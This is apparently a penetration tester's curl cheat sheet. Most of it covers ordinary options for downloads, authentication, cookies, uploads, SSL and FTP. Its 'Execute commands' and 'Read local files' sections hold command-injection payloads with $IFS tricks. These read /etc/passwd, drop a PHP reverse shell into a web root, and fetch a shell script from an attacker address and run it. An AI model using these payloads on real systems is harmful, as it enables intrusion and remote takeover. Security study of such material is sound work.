Curl
# -d, --data HTTP POST data
# -f, --fail Fail silently (no output at all) on HTTP errors
# -i, --include Include protocol response headers in the output
# -o, --output Write to file instead of stdout
# -O, --remote-name Write output to a file named as the remote file
# -s, --silent Silent mode
# -T, --upload-file Transfer local FILE to destination
# -A, --user-agent Send User-Agent <name> to server
# -v, --verbose Make the operation more talkative
# -V, --version Show version number and quit
# -u, --user <user:password> Server user and password
## ------------------| Read local files
curl file:///etc/passwd
## ------------------| Execute commands
curl http://10.10.14.26/$(whoami)
curl http://10.10.14.26/$(which$IFS'curl')
curl http://10.10.14.26/$(curl$IFS'-o'$IFS'/var/www/html/rev.php'$IFS'http://10.10.14.26/rev.php')
curl http://10.10.14.26/$(curl$IFS'-o'$IFS'/tmp/shell.sh'$IFS'http://10.10.14.26/shell.sh')
curl http://10.10.14.26/$(bash$IFS/tmp/shell.sh)
## ------------------| Basic
curl -L http://h4rithd.com ### Follow redirects
curl -I http://h4rithd.com ### Fetch headers only
curl -O http://h4rithd.com/file.txt. ### Download a file with its original name
curl -o b.zip http://h4rithd.com/a.zip ### Download file and rename
curl -C - -O http://h4rithd.com/a.zip ### Resume an interrupted download
curl --compressed http://h4rithd.com ### Request compressed response (gzip, deflate)
curl -4 http://h4rithd.com ### Force IPv4
curl -6 http://h4rithd.com ### Force IPv6
## ------------------| Authentication
curl -u username:password http://h4rithd.com ### Basic authentication
curl --basic -u user:pass http://h4rithd.com ### Explicitly use basic authentication
curl --digest -u user:pass http://h4rithd.com ### Digest authentication
curl --ntlm -u user:pass http://h4rithd.com ### NTLM authentication
## ------------------| Cookies
curl -b cookies.txt http://h4rithd.com ### Send cookies from a file
curl -c cookies.txt http://h4rithd.com ### Save received cookies to a file
curl -b "name=value" http://h4rithd.com ### Send cookies inline
## ------------------| Uploading Files
curl -T file.txt ftp://h4rithd.com/ ### Upload a file to FTP
curl -T file.txt -u user:pass ftp://h4rithd.com/ ### Upload with authentication
curl -F "[email protected]" http://h4rithd.com/upload ### Upload file with multipart form
## ------------------| Debugging & Verbose Output
curl -v http://h4rithd.com ### Verbose output (see request/response headers)
curl -i http://h4rithd.com ### Show response headers
curl -s http://h4rithd.com ### Silent mode (no progress output)
curl --trace trace.txt http://h4rithd.com ### Save request/response trace to a file
curl --trace-ascii trace.txt http://h4rithd.com ### ASCII-only trace file
## ------------------| Rate Limiting & Timeout
curl --limit-rate 100k http://h4rithd.com/a.zip ### Limit download speed
curl --max-time 10 http://h4rithd.com ### Timeout after 10 seconds
curl --connect-timeout 5 http://h4rithd.com ### Timeout if connection takes more than 5 seconds
## ------------------| Handling SSL & Certificates
curl -k https://h4rithd.com ### Ignore SSL certificate errors
curl --cacert ca.pem https://h4rithd.com ### Use a custom CA certificate
curl --ssl-reqd ftp://h4rithd.com/ ### Require SSL/TLS for FTP
curl --cert client.pem --key client.key https://h4rithd.com ### Use client certificate authentication
## ------------------| Parallel Requests
curl -Z http://h4rithd.com/a http://h4rithd.com/b ### Download multiple files in parallel
curl -O http://h4rithd.com/a -O http://h4rithd.com/b ### Download multiple files sequentially
## ------------------| Handling FTP
curl -u user:pass ftp://h4rithd.com/file.txt ### Download a file via FTP
curl -u user:pass -T file.txt ftp://h4rithd.com/ ### Upload a file via FTP
curl -u user:pass ftp://h4rithd.com/ -Q "DELE file.txt" ### Delete a file via FTPLast updated
